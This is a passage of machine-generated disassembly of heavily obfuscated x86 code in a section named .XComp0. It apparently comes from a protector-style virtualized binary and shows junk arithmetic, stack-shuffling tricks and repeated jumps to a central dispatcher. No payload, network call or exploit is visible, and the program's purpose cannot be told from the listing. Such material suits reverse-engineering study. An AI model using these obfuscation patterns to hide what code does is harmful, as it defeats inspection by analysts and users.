loc_57CE95 ; --------------------------------------------------------------------------- loc_5771C4: ; CODE XREF: .XComp0:00577C78j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi mov esi, esp push ecx jmp loc_57D697 ; --------------------------------------------------------------------------- loc_5771DD: ; CODE XREF: .XComp0:00578DB7j add esp, 4 xor eax, ebx mov ebx, [esp] jmp loc_577192 ; --------------------------------------------------------------------------- loc_5771ED: ; CODE XREF: .XComp0:00577CDAj jmp loc_573541 ; --------------------------------------------------------------------------- loc_5771F2: ; CODE XREF: .XComp0:0057E499j mov eax, [esp] push 2D1h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub edi, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] retn ; --------------------------------------------------------------------------- jmp loc_573541 ; --------------------------------------------------------------------------- loc_577229: ; CODE XREF: .XComp0:0057E1A0j mov edx, 4 add ebp, edx pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 jmp loc_5775F4 ; --------------------------------------------------------------------------- mov cx, [esp] push 1234h mov [esp], eax mov eax, esp push 4E34h mov [esp], edx mov edx, 4C6103EAh jmp loc_57DD86 ; --------------------------------------------------------------------------- loc_577263: ; CODE XREF: .XComp0:0057E203j dec bh jmp loc_57F90C ; --------------------------------------------------------------------------- loc_57726A: ; CODE XREF: .XComp0:0057EC2Bj sub dh, 1 push edx dec byte ptr [esp+1] jmp loc_579F1D ; --------------------------------------------------------------------------- loc_577277: ; CODE XREF: .XComp0:0057FF63j sub ecx, esi add ecx, 617F0320h mov esi, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 7F8C1359h shl edx, 6 not edx push 685Bh mov [esp], ebp push esi mov esi, 0E167BA9h mov ebp, esi mov esi, [esp] jmp loc_576461 ; --------------------------------------------------------------------------- loc_5772B1: ; CODE XREF: .XComp0:00579A7Cj mov [esp], ebx push 289A1EBBh jmp loc_583557 ; --------------------------------------------------------------------------- loc_5772BE: ; CODE XREF: .XComp0:00581DECj add esi, ebp add esi, 124954A9h pop ebp jmp loc_576F6C ; --------------------------------------------------------------------------- loc_5772CC: ; CODE XREF: .XComp0:00577B07j dec ebx add ebx, 2E374268h jmp loc_57B05C ; --------------------------------------------------------------------------- loc_5772D8: ; CODE XREF: .XComp0:0057E675j shl edx, 1 xor edx, 0BD401FAh jmp loc_57F438 ; --------------------------------------------------------------------------- loc_5772E5: ; CODE XREF: .XComp0:005794BEj sub esp, 4 jmp loc_5736DA ; --------------------------------------------------------------------------- loc_5772F0: ; CODE XREF: .XComp0:005835F8j mov [esp], eax pop edi jmp loc_57E71F ; --------------------------------------------------------------------------- loc_5772F9: ; CODE XREF: .XComp0:00575597j sub edi, ebx jmp loc_579A75 ; --------------------------------------------------------------------------- loc_577300: ; CODE XREF: .XComp0:0057DBD5j mov [esp], edi mov edi, 375447A4h push eax mov eax, 407052D3h and eax, 25C96CCFh inc eax jmp loc_581533 ; --------------------------------------------------------------------------- lodsd push edi push eax mov eax, 6F2D1C8Bh or eax, 47C3777Bh xor eax, 26B073ABh inc eax sub eax, 423162A5h jmp loc_575F80 ; --------------------------------------------------------------------------- lodsd push ecx mov ecx, 374E325Ah add ecx, 0EC6CD276h sub eax, ecx pop ecx push edx mov edx, 2C231BEh add eax, edx pop edx add eax, ebx push 79FDh mov [esp], edx mov edx, 4E2567AAh jmp loc_577144 ; --------------------------------------------------------------------------- loc_577363: ; CODE XREF: .XComp0:005821C0j sub esi, eax pop eax push esi add dword ptr [esp], 25AD51CDh jmp loc_5763FB ; --------------------------------------------------------------------------- loc_577373: ; CODE XREF: .XComp0:00583098j add edx, 4 push ebx mov ebx, 4 add edx, ebx pop ebx push edx push dword ptr [esp+4] jmp loc_582E0D ; --------------------------------------------------------------------------- loc_57738C: ; CODE XREF: .XComp0:00579ACEj xor [esp], ebx xor ebx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] jmp loc_57C0B0 ; --------------------------------------------------------------------------- lodsb push edx mov dl, 0D9h or dl, 0EFh sub esp, 4 mov [esp], eax push ecx jmp loc_5796CE ; --------------------------------------------------------------------------- loc_5773BF: ; CODE XREF: .XComp0:005760AEj xor edx, 5CFB4DA4h xor edx, 5BBD97D5h xor ebp, edx pop edx add ecx, ebp pop ebp push esi jmp loc_5805EB ; --------------------------------------------------------------------------- loc_5773D7: ; CODE XREF: .XComp0:005818AAj mov ebp, ebx pop ebx jmp loc_576842 ; --------------------------------------------------------------------------- loc_5773DF: ; CODE XREF: .XComp0:00573893j mov ebx, [esp] push eax mov eax, esp jmp loc_5775DD ; --------------------------------------------------------------------------- loc_5773EA: ; CODE XREF: .XComp0:00576D62j mov [esp], eax mov eax, esp jmp loc_576D0D ; --------------------------------------------------------------------------- loc_5773F4: ; CODE XREF: .XComp0:0057AE08j mov edi, 4 jmp loc_583254 ; --------------------------------------------------------------------------- loc_5773FE: ; CODE XREF: .XComp0:0057CED9j mov ebx, 796D45C6h inc ebx neg ebx not ebx jmp loc_57DCEE ; --------------------------------------------------------------------------- loc_57740D: ; CODE XREF: .XComp0:0057B095j or eax, eax jz loc_57D434 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_57BA8F ; --------------------------------------------------------------------------- loc_577420: ; CODE XREF: .XComp0:0057E072j sub dl, 0D6h pop eax and dl, 0F7h jmp loc_57B150 ; --------------------------------------------------------------------------- loc_57742C: ; CODE XREF: .XComp0:00577DF8j push esi push 32CE52D7h pop esi jmp loc_5769F0 ; --------------------------------------------------------------------------- loc_577438: ; CODE XREF: .XComp0:00573CF2j pop eax push 14C9h jmp loc_577936 ; --------------------------------------------------------------------------- loc_577443: ; CODE XREF: .XComp0:005736A1j sub esp, 4 mov [esp], ebx jmp loc_575A82 ; --------------------------------------------------------------------------- loc_57744E: ; CODE XREF: .XComp0:0057A4B1j or esi, ebx pop ebx xor esi, 5BED999Fh push edx jmp loc_581911 ; --------------------------------------------------------------------------- loc_57745D: ; CODE XREF: .XComp0:0057BC80j push edi jmp loc_580CF6 ; --------------------------------------------------------------------------- mov ax, [esp] push 3B83h jmp loc_58371E ; --------------------------------------------------------------------------- loc_577471: ; CODE XREF: .XComp0:00574B72j mov eax, [esp] add esp, 4 or [edi+1Ch], esi mov esi, [esp] add esp, 4 jmp loc_57E7F8 ; --------------------------------------------------------------------------- loc_577485: ; CODE XREF: .XComp0:0058243Aj pop esp btc [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_577491: ; CODE XREF: .XComp0:00581F83j xor edi, ecx pop ecx jmp loc_57DF62 ; --------------------------------------------------------------------------- loc_577499: ; CODE XREF: .XComp0:0057D0DBj sub dword ptr [esp+4], 0B741396h push dword ptr [esp] pop esi push 5DFAh mov [esp], esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax pop eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop ecx add ecx, 1586D02h push ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_57ECB1 ; --------------------------------------------------------------------------- loc_5774E7: ; CODE XREF: .XComp0:0057375Bj mov ch, 34h jmp loc_575CE9 ; --------------------------------------------------------------------------- loc_5774EE: ; CODE XREF: .XComp0:00577DEBj sub esp, 4 mov [esp], ebx jmp loc_5835BC ; --------------------------------------------------------------------------- loc_5774F9: ; CODE XREF: .XComp0:005817C8j pop cx jmp loc_57E7E4 ; --------------------------------------------------------------------------- loc_577500: ; CODE XREF: .XComp0:00573B27j pop ebx shl ebx, 3 jmp loc_5790C6 ; --------------------------------------------------------------------------- loc_577509: ; CODE XREF: .XComp0:0057FE65j sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx mov edx, 551E68F3h add edx, 136F1071h jmp loc_57AE3D ; --------------------------------------------------------------------------- loc_577526: ; CODE XREF: .XComp0:0058254Ej jmp loc_573541 ; --------------------------------------------------------------------------- loc_57752B: ; CODE XREF: .XComp0:0057C1B0j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp movzx ecx, al push 36E9h jmp loc_57CD68 ; --------------------------------------------------------------------------- loc_577541: ; CODE XREF: .XComp0:00578F41j mov al, 0A0h and bh, al mov ax, [esp] add esp, 2 sub bh, 8Ah shl bh, 5 inc bh push eax mov ah, 34h push ecx push ebx mov bh, 0C8h mov cl, 22h add cl, bh mov ebx, [esp] add esp, 4 or cl, 0E6h shr cl, 4 jmp loc_5836F6 ; --------------------------------------------------------------------------- loc_577573: ; CODE XREF: .XComp0:00582CA6j xchg esi, [esp] pop esp jmp loc_578F24 ; --------------------------------------------------------------------------- loc_57757C: ; CODE XREF: .XComp0:00575A1Aj sub ebx, 2D0B74EAh and ebx, 1B123AA9h and ebx, 2895496h dec ebx jmp loc_57A340 ; --------------------------------------------------------------------------- loc_577594: ; CODE XREF: .XComp0:0057DE22j pop ebx sub ebp, 2B284A1Fh jmp loc_57DC91 ; --------------------------------------------------------------------------- loc_5775A0: ; CODE XREF: .XComp0:00574C61j push esi mov esi, 1 jmp loc_578747 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_573541 ; --------------------------------------------------------------------------- loc_5775B3: ; CODE XREF: .XComp0:0057C89Dj push dword ptr [esp] pop eax add esp, 4 jmp loc_582FD3 ; --------------------------------------------------------------------------- loc_5775BF: ; CODE XREF: .XComp0:00575FE1j pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_57715D ; --------------------------------------------------------------------------- loc_5775CB: ; CODE XREF: .XComp0:0057476Ej and ebx, 0C1A3427h push esi push eax mov eax, 76BE13A2h jmp loc_581F65 ; --------------------------------------------------------------------------- loc_5775DD: ; CODE XREF: .XComp0:005773E5j push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp jmp loc_5791C5 ; --------------------------------------------------------------------------- loc_5775F4: ; CODE XREF: .XComp0:0057723Ej push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp push eax mov eax, 481A2675h or eax, 407A5D65h xor eax, 50C028D5h jmp loc_57440E ; --------------------------------------------------------------------------- loc_57761D: ; CODE XREF: .XComp0:00576D08j pop eax push edi mov edi, 1E6A3AE1h and edi, 76313973h push esi jmp loc_5780A5 ; --------------------------------------------------------------------------- loc_577630: ; CODE XREF: .XComp0:00578046j mov [esp], eax push ebx mov ebx, 78DE2A0Ch mov eax, ebx pop ebx shl eax, 5 push edi jmp loc_57FC61 ; --------------------------------------------------------------------------- loc_577645: ; CODE XREF: .XComp0:00581536j xor eax, ebx xor ebx, eax jmp loc_577AA3 ; --------------------------------------------------------------------------- loc_57764E: ; CODE XREF: .XComp0:00579D55j pop esi push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, 3Ch jmp loc_57F85F ; --------------------------------------------------------------------------- loc_57766D: ; CODE XREF: .XComp0:00578549j mov dh, 0B7h push ecx mov ch, dh mov al, ch pop ecx pop edx add bl, al pop eax push eax mov al, 0B6h jmp loc_57DC21 ; --------------------------------------------------------------------------- loc_577681: ; CODE XREF: .XComp0:00579858j push esp pop ecx jmp loc_57CB00 ; --------------------------------------------------------------------------- loc_577688: ; CODE XREF: .XComp0:00574C2Ej mov ebx, 4C934E08h push ebp mov ebp, 8DE6E2Bh or ebp, 39632644h or ebp, 10B44A07h dec ebp shr ebp, 7 dec ebp add ebp, 2E200D75h add ebx, ebp pop ebp not ebx neg ebx add ebx, 7D540CA6h push esi mov esi, 7B446245h add ebx, esi jmp loc_57BE8D ; --------------------------------------------------------------------------- loc_5776C4: ; CODE XREF: .XComp0:00575D05j mov ebx, [esp] add esp, 4 jmp loc_57AE07 ; --------------------------------------------------------------------------- loc_5776D2: ; CODE XREF: .XComp0:0058170Fj shr edx, 7 and edx, 4A2466B2h inc edx sub edx, 0F9160434h sub esi, edx jmp loc_5771BA ; --------------------------------------------------------------------------- loc_5776E9: ; CODE XREF: .XComp0:005757B4j add esi, 807EABE4h sub ecx, esi pop esi mov edi, ecx pop ecx add ebx, 4A77031Bh jmp loc_5794EB ; --------------------------------------------------------------------------- loc_577700: ; CODE XREF: .XComp0:0057A8BBj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, 4 add esi, edi pop edi add esi, 2 xchg esi, [esp] jmp loc_581CBF ; --------------------------------------------------------------------------- loc_577722: ; CODE XREF: .XComp0:00574004j push edi mov edi, 0C876E90h shr edi, 5 jmp loc_57D754 ; --------------------------------------------------------------------------- loc_577730: ; CODE XREF: .XComp0:0057DA41j add ebx, ecx mov ecx, [esp] jmp loc_57A056 ; --------------------------------------------------------------------------- loc_57773A: ; CODE XREF: .XComp0:005820A6j pop dword ptr [edx+30h] push ecx mov ecx, 31485AB6h jmp loc_57CF8B ; --------------------------------------------------------------------------- loc_577748: ; CODE XREF: .XComp0:005801AFj push edx mov edx, 75AC7B6Fh not edx sub edx, 273F1EE7h jmp loc_57E537 ; --------------------------------------------------------------------------- loc_57775B: ; CODE XREF: .XComp0:0057EBCDj push edx jmp loc_583306 ; --------------------------------------------------------------------------- loc_577761: ; CODE XREF: .XComp0:0057C745j inc esi xor esi, 0E976B0CFh sub ecx, esi jmp loc_5815AC ; --------------------------------------------------------------------------- loc_57776F: ; CODE XREF: .XComp0:00583734j sub [edi+24h], ebp push dword ptr [esp] pop ebp push 7B27h mov [esp], ebp mov ebp, esp push esi push ebx jmp loc_58134A ; --------------------------------------------------------------------------- loc_577787: ; CODE XREF: .XComp0:00574502j not ebx jmp loc_575E73 ; --------------------------------------------------------------------------- loc_57778E: ; CODE XREF: .XComp0:00576ABAj shr ecx, 7 sub ecx, 4C556804h sub ecx, 56B502DEh jmp loc_57F954 ; --------------------------------------------------------------------------- loc_5777A2: ; CODE XREF: .XComp0:0057A6BEj pop ebx add ebx, ebp jmp loc_57C797 ; --------------------------------------------------------------------------- loc_5777AA: ; CODE XREF: .XComp0:00573F9Aj or esi, 681827CDh xchg ecx, esi sub ecx, 1 xor esi, ecx xor ecx, esi xor esi, ecx jmp loc_57B0C6 ; --------------------------------------------------------------------------- loc_5777C3: ; CODE XREF: .XComp0:00575A7Dj inc ebx sub ebx, 3C2375F8h sub ebx, 0EC50D5Ah mov ecx, ebx pop ebx add ecx, edx pop edx and ecx, 44F36636h add ecx, 7FF353CFh shl ecx, 8 shr ecx, 7 dec ecx jmp loc_575676 ; --------------------------------------------------------------------------- loc_5777EE: ; CODE XREF: .XComp0:00579B41j pop ebx jmp loc_580DD8 ; --------------------------------------------------------------------------- loc_5777F4: ; CODE XREF: .XComp0:0057E370j mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_57AFCD ; --------------------------------------------------------------------------- loc_577804: ; CODE XREF: .XComp0:005828EAj pop edx xor edi, 138950C5h jmp loc_577B9F ; --------------------------------------------------------------------------- loc_577810: ; CODE XREF: .XComp0:0057BAFEj push ebp mov ebp, 6E542A3Ah xor ebp, 3A5C69D0h add ecx, ebp jmp loc_574C49 ; --------------------------------------------------------------------------- loc_577823: ; CODE XREF: .XComp0:00581605j push esi push 74B41C7Ah pop esi jmp loc_57FC19 ; --------------------------------------------------------------------------- loc_57782F: ; CODE XREF: .XComp0:0057E7CAj add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] add dword ptr [esp+4], 52210A3Bh add [esp+4], edi jmp loc_57BBD2 ; --------------------------------------------------------------------------- loc_577849: ; CODE XREF: .XComp0:0057DE59j push 2EF1h mov [esp], ebx pop ebp mov ebx, [esp] add esp, 4 add ebp, 5C006257h add eax, 7B3C326Ah add eax, ebp sub eax, 7B3C326Ah push dword ptr [esp] jmp loc_582D2A ; --------------------------------------------------------------------------- loc_577875: ; CODE XREF: .XComp0:0057B192j add ecx, 2BAA09E3h jmp loc_574277 ; --------------------------------------------------------------------------- loc_577880: ; CODE XREF: .XComp0:0057D5CDj push eax mov al, cl mov dh, al pop eax pop ecx pop ebx jmp loc_574949 ; --------------------------------------------------------------------------- loc_57788D: ; CODE XREF: .XComp0:005788E3j xor edi, 0B41AD3C8h and eax, edi jmp loc_578847 ; --------------------------------------------------------------------------- loc_57789A: ; CODE XREF: .XComp0:0057A611j pop edx add al, 3Eh sub al, 0E7h sub al, ch add al, 0E7h sub al, 3Eh push dword ptr [esp] jmp loc_5787B3 ; --------------------------------------------------------------------------- loc_5778AD: ; CODE XREF: .XComp0:00580A33j and edx, 44DE551Ah shr edx, 7 inc edx jmp loc_575918 ; --------------------------------------------------------------------------- loc_5778BC: ; CODE XREF: .XComp0:0057BE9Aj xchg ecx, ebp jmp loc_581191 ; --------------------------------------------------------------------------- loc_5778C3: ; CODE XREF: .XComp0:005796E8j add ebp, edi add ebp, 6D6201F6h add ebp, 1F4E36A4h pop edi xchg ebp, [esp] jmp loc_5809BA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_57EF83 ; --------------------------------------------------------------------------- loc_5778E2: ; CODE XREF: .XComp0:00573727j dec edi xor edi, 4849EDE3h jmp loc_581A69 ; --------------------------------------------------------------------------- loc_5778EE: ; CODE XREF: .XComp0:0057B057j inc ebx or ebx, 739B379Dh sub ebx, 5CD5BFFh sub ecx, 764A0D20h sub ecx, ebx add ecx, 764A0D20h pop ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_57E39C ; --------------------------------------------------------------------------- loc_57791B: ; CODE XREF: .XComp0:0057A5CBj pop esp shl edx, 4 sub edx, 145249FEh jmp loc_57C3E8 ; --------------------------------------------------------------------------- loc_57792A: ; CODE XREF: .XComp0:0057F7ABj sub edx, 4 push edx jmp loc_576B8B ; --------------------------------------------------------------------------- loc_577936: ; CODE XREF: .XComp0:0057743Ej mov [esp], ebp push 7D6Eh mov [esp], ecx sub dword ptr [esp], 173A4699h pop ebp add ebp, 173A4699h push 42AFh jmp loc_582A26 ; --------------------------------------------------------------------------- loc_577959: ; CODE XREF: .XComp0:005796C2j not bh not bh sub bh, 1 xor bh, 0E7h jmp loc_57D890 ; --------------------------------------------------------------------------- loc_577968: ; CODE XREF: .XComp0:00580674j pop edi jmp loc_57D333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57796E: ; CODE XREF: sub_5A47B5-295B8j sub eax, 4 jmp loc_57627D ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_577978: ; CODE XREF: .XComp0:005794E6j add eax, edx jmp loc_577E45 ; --------------------------------------------------------------------------- loc_57797F: ; CODE XREF: .XComp0:00582195j xchg esi, ebx not esi xchg esi, ebx neg ebx jmp loc_57BC60 ; --------------------------------------------------------------------------- loc_57798C: ; CODE XREF: .XComp0:00582AD5j xchg esi, [esp] jmp loc_576536 ; --------------------------------------------------------------------------- loc_577994: ; CODE XREF: .XComp0:00574ED8j push eax jmp loc_577C03 ; --------------------------------------------------------------------------- loc_57799A: ; CODE XREF: .XComp0:0057CAE5j mov edx, 35595493h neg edx sub edx, 8A9150E0h mov ecx, edx pop edx mov eax, ecx mov ecx, [esp] add esp, 4 jmp loc_581FEC ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_582F78 ; --------------------------------------------------------------------------- loc_5779C2: ; CODE XREF: .XComp0:0057D2DEj sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx mov edx, 0FEh mov ebp, edx mov edx, [esp] add esp, 4 and [edi+1Ch], ebp push dword ptr [esp] jmp loc_575703 ; --------------------------------------------------------------------------- loc_5779E9: ; CODE XREF: .XComp0:00576035j mov dl, bl jmp loc_579F91 ; --------------------------------------------------------------------------- loc_5779F0: ; CODE XREF: .XComp0:0057D145j pop ebx sub bl, ah mov ax, [esp] push eax push esp pop eax add eax, 4 push edi push esi mov esi, 39A9300Eh push eax mov eax, 20A25CC7h inc eax jmp loc_574DFB ; --------------------------------------------------------------------------- loc_577A12: ; CODE XREF: .XComp0:005801BDj pop esp add ecx, 2 jmp loc_57BEEF ; --------------------------------------------------------------------------- loc_577A1E: ; CODE XREF: .XComp0:0057E582j pop eax jmp loc_58160A ; --------------------------------------------------------------------------- loc_577A24: ; CODE XREF: .XComp0:0057D3F9j mov eax, edi mov ecx, eax pop eax pop edi add ecx, eax pop eax jmp loc_57F3C9 ; --------------------------------------------------------------------------- loc_577A32: ; CODE XREF: .XComp0:00580BD4j add edi, esi sub edi, 47D148F9h mov esi, [esp] add esp, 4 inc edi add edi, 0AB408C5Fh add edx, edi jmp loc_576DA4 ; --------------------------------------------------------------------------- loc_577A4E: ; CODE XREF: .XComp0:0057CFAAj shl ebp, 6 and ebp, 33926D4h neg ebp sub ebp, 0FFE7FB3Ch jmp loc_583344 ; --------------------------------------------------------------------------- loc_577A64: ; CODE XREF: .XComp0:0057F02Bj sub eax, ebx push edx mov edx, 2B060CE3h jmp loc_576C13 ; --------------------------------------------------------------------------- loc_577A71: ; CODE XREF: .XComp0:0057F033j push 1Ch pop eax sub eax, 0AD56B19h add eax, edi add eax, 0AD56B19h push dword ptr [eax] mov ecx, [esp] jmp loc_58236A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_577A9B: ; CODE XREF: .XComp0:00580174j mov [esp], ebx jmp loc_57A803 ; --------------------------------------------------------------------------- loc_577AA3: ; CODE XREF: .XComp0:00577649j xor eax, ebx xor eax, 5A9004ACh sub eax, 7BCEA20Fh and edi, eax jmp loc_57AE69 ; --------------------------------------------------------------------------- loc_577AB6: ; CODE XREF: .XComp0:0057D61Cj add ebx, 4 xor ebx, [esp] jmp loc_576EBF ; --------------------------------------------------------------------------- loc_577AC4: ; CODE XREF: .XComp0:00573AD1j push esi mov esi, 4CD25480h add ebx, esi pop esi pop ebp and ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_582BB4 ; --------------------------------------------------------------------------- loc_577ADE: ; CODE XREF: .XComp0:005813D5j shl esi, 8 jmp loc_583010 ; --------------------------------------------------------------------------- loc_577AE6: ; CODE XREF: .XComp0:005758B0j push edi push 2915h mov [esp], ebx mov ebx, 45A30FC4h or ebx, 405B4D48h inc ebx add ebx, 5F2E321Bh and ebx, 4B685E23h jmp loc_5772CC ; --------------------------------------------------------------------------- loc_577B0C: ; CODE XREF: .XComp0:00578D10j pop esp btr [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_577B18: ; CODE XREF: .XComp0:00574F5Aj jmp loc_573541 ; --------------------------------------------------------------------------- loc_577B1D: ; CODE XREF: .XComp0:0057F793j pop ecx push eax mov eax, 2 add esi, 52985429h add esi, eax sub esi, 52985429h mov eax, [esp] add esp, 4 jmp loc_57BE39 ; --------------------------------------------------------------------------- dd 50242489h, 4BD55h, 0E8890000h, 0AB4EE9h db 0 ; --------------------------------------------------------------------------- loc_577B51: ; CODE XREF: .XComp0:00579B32j xor esi, 430644F5h mov eax, esi pop esi and eax, 5AAB6FA7h add eax, 19F61507h jmp loc_57A5D0 ; --------------------------------------------------------------------------- loc_577B69: ; CODE XREF: .XComp0:0057E850j sub esp, 4 mov [esp], ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax push edx push ecx jmp loc_580578 ; --------------------------------------------------------------------------- loc_577B84: ; CODE XREF: .XComp0:0057CA96j sub bl, 75h not bl jmp loc_57B34B ; --------------------------------------------------------------------------- loc_577B8E: ; CODE XREF: .XComp0:0057ED82j sub eax, 3B810574h xor eax, 1141FDC0h add edi, eax jmp loc_57C846 ; --------------------------------------------------------------------------- loc_577B9F: ; CODE XREF: .XComp0:0057780Bj sub edi, 6E742F96h add ecx, edi jmp loc_58208E ; --------------------------------------------------------------------------- loc_577BAC: ; CODE XREF: .XComp0:005737A6j push 7327h mov [esp], esp push 16C9h jmp loc_57A2FE ; --------------------------------------------------------------------------- loc_577BBE: ; CODE XREF: .XComp0:0057A6DCj push dword ptr [esp] pop eax add esp, 4 shr dl, 4 push bx mov bh, dl jmp loc_576608 ; --------------------------------------------------------------------------- loc_577BD1: ; CODE XREF: .XComp0:0057C675j and edx, 522E43AEh xor edx, 5DB84051h or edi, edx pop edx jmp loc_5813DA ; --------------------------------------------------------------------------- loc_577BE5: ; CODE XREF: .XComp0:00581DD5j sub esp, 4 mov [esp], edi mov edi, 2FCA57C8h sub edi, 6D57064Bh sub edi, 17FD4FE8h not edi jmp loc_579D2E ; --------------------------------------------------------------------------- loc_577C03: ; CODE XREF: .XComp0:00577995j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_580CAE ; --------------------------------------------------------------------------- loc_577C17: ; CODE XREF: .XComp0:00579281j sub ebx, edx pop edx sub ebx, 235A36E0h pop ecx xor ebx, 4349222Eh mov edx, ebx pop ebx and eax, edx pop edx push dword ptr [edi+1Ch] jmp loc_57B41D ; --------------------------------------------------------------------------- loc_577C35: ; CODE XREF: .XComp0:00575FF0j push edx mov dl, 3Fh mov bl, dl pop edx add al, 47h sub al, bl jmp loc_57E55A ; --------------------------------------------------------------------------- loc_577C44: ; CODE XREF: .XComp0:0057DB92j mov ah, bl pop ebx add ah, bh pop ebx not ah add ah, 3Dh jmp loc_57413F ; --------------------------------------------------------------------------- loc_577C54: ; CODE XREF: .XComp0:00575BACj add al, 55h add al, bl sub al, 55h pop ebx push ebx jmp loc_57D4BD ; --------------------------------------------------------------------------- loc_577C61: ; CODE XREF: .XComp0:005798DBj sub edi, 6C9C7857h push dword ptr [esp] mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5771C4 ; --------------------------------------------------------------------------- loc_577C7D: ; CODE XREF: .XComp0:00579122j mov ebp, 355E2B51h xor ebp, 6A347BDDh inc ebp not ebp jmp loc_573FEF ; --------------------------------------------------------------------------- loc_577C90: ; CODE XREF: .XComp0:00580AA6j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov dh, bl mov cl, dh pop edx mov ebx, [esp] add esp, 4 add dl, cl pop cx jmp loc_57FC4C ; --------------------------------------------------------------------------- loc_577CB7: ; CODE XREF: .XComp0:0057F769j mov [esp], ebp push 3FC5h mov [esp], esp jmp loc_57DF59 ; --------------------------------------------------------------------------- loc_577CC7: ; CODE XREF: .XComp0:0057EE1Ej xor esi, 237344F3h push edi jmp loc_57F17F ; --------------------------------------------------------------------------- loc_577CD3: ; CODE XREF: .XComp0:00573D77j mov esp, [esp] xor [esp], eax pushf jmp loc_5771ED ; --------------------------------------------------------------------------- loc_577CDF: ; CODE XREF: .XComp0:00575F0Bj mov ch, 9Fh sub ah, ch pop cx neg ah sub ah, 0FFh jmp loc_579A0A ; --------------------------------------------------------------------------- loc_577CEF: ; CODE XREF: .XComp0:0058039Fj dec edi push ebx push 198E701Ch pop ebx shl ebx, 5 jmp loc_57ABA1 ; --------------------------------------------------------------------------- loc_577CFF: ; CODE XREF: .XComp0:00574BF4j and edi, 4B5A79F2h neg edi xor edi, 34A609CEh jmp loc_57E18F ; --------------------------------------------------------------------------- loc_577D12: ; CODE XREF: .XComp0:00575129j sub dl, 0ADh mov al, dl pop edx jmp loc_580740 ; --------------------------------------------------------------------------- loc_577D1D: ; CODE XREF: .XComp0:0057CFFFj not esi jmp loc_57B58D ; --------------------------------------------------------------------------- loc_577D24: ; CODE XREF: .XComp0:0057FFBAj push esi mov esi, 4 push esi xor dword ptr [esp], 28EB057Ch jmp loc_581208 ; --------------------------------------------------------------------------- loc_577D37: ; CODE XREF: .XComp0:005788BCj xor ebx, ebp pop ebp jmp loc_57C1CE ; --------------------------------------------------------------------------- loc_577D3F: ; CODE XREF: .XComp0:00575CF0j or ch, al pop ax push 66DCh mov [esp], ebx mov bl, 0E4h or ch, bl push dword ptr [esp] pop ebx add esp, 4 xor ch, 83h jmp loc_57BE19 ; --------------------------------------------------------------------------- loc_577D61: ; CODE XREF: .XComp0:00581560j mov ebx, 4 jmp loc_574421 ; --------------------------------------------------------------------------- loc_577D6B: ; CODE XREF: .XComp0:0057A10Bj xor eax, ecx push ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_57CD55 ; --------------------------------------------------------------------------- loc_577D99: ; CODE XREF: .XComp0:0057411Ej sub eax, 5F302F5Fh add eax, 6D8B2E7Dh sub eax, 1178408Ch sub eax, ebx add eax, 1178408Ch sub eax, 6D8B2E7Dh push 2ACCh mov [esp], edx mov edx, 5F6C0709h push ebp push ecx mov ecx, 3718059Dh jmp loc_57DC89 ; --------------------------------------------------------------------------- loc_577DCD: ; CODE XREF: .XComp0:00573AEDj mov [esp], edi push esi sub esp, 4 mov [esp], ebx push 3D34566Eh jmp loc_574975 ; --------------------------------------------------------------------------- loc_577DE1: ; CODE XREF: .XComp0:0057A74Fj pop esp jmp loc_579A28 ; --------------------------------------------------------------------------- loc_577DE7: ; CODE XREF: .XComp0:00582852j and ecx, edx pop edx inc ecx jmp loc_5774EE ; --------------------------------------------------------------------------- loc_577DF0: ; CODE XREF: .XComp0:0057BFD7j add edi, 589A6755h add edi, ebx jmp loc_57742C ; --------------------------------------------------------------------------- loc_577DFD: ; CODE XREF: .XComp0:005760B5j mov ebp, [esp] push edi mov edi, esp push edx jmp loc_5823B9 ; --------------------------------------------------------------------------- loc_577E09: ; CODE XREF: .XComp0:005770FBj dec ebp inc ebp sub ebp, 86338C2Ch jmp loc_573A9A ; --------------------------------------------------------------------------- loc_577E16: ; CODE XREF: .XComp0:0057FC14j sub ebx, 8DBB1415h add edi, ebx pop 